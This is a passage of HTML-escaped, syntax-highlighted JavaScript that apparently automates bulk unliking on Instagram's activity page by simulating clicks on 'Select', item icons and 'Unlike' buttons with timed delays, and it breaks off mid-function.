&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SELECT_DELAY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1200&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ICON_DELAY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;700&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;DELETE_DELAY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1500&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ms&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ms&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;realClick&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;scrollIntoView&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;block&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"center"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"mousedown"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mouseup"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"click"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;eventType&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dispatchEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;MouseEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;eventType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;view&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;bubbles&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;cancelable&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;buttons&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}),&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;findSelectButton&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s1"&gt;'div[data-bloks-name="bk.components.Flexbox"]'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;find&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerText&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Select"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;activateSelectMode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;selectBtn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;findSelectButton&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;selectBtn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;throw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ne"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Select button not found."&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;realClick&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;selectBtn&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;SELECT_DELAY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;getSelectableIcons&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="s1"&gt;'div[data-bloks-name="ig.components.Icon"][style*="circle__outline"]'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;selectItems&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;max&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;icons&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;getSelectableIcons&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;icons&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;selected&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;icon&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;icons&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;selected&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;max&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;icon&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;scrollIntoView&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;behavior&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"smooth"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;block&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"center"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;400&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;button&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;icon&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;closest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'[role="button"]'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;button&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;realClick&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;button&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;selected&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ICON_DELAY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;selected&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;findBloksDeleteButton&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;unlikeText&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s1"&gt;'span[data-bloks-name="bk.components.TextSpan"]'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;find&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;span&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;span&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerText&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Unlike"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;unlikeText&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;unlikeText&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;closest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'div[style*="pointer-events: auto"]'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;clickBloksUnlike&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;SELECT_DELAY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;unlikeBtn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;findBloksDeleteButton&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;unlikeBtn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;throw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ne"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Bloks Unlike button not found."&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;realClick&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;unlikeBtn&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;findModalDeleteButton&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[...&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"button"&lt;/span&gt;&lt;span class="p"&gt;)].&lt;/span&gt;&lt;span class="nx"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;btn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;btn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerText&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Unlike"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;confirmFinalUnlike&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;DELETE_DELAY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;modalUnlikeBtn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;findModalDeleteButton&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
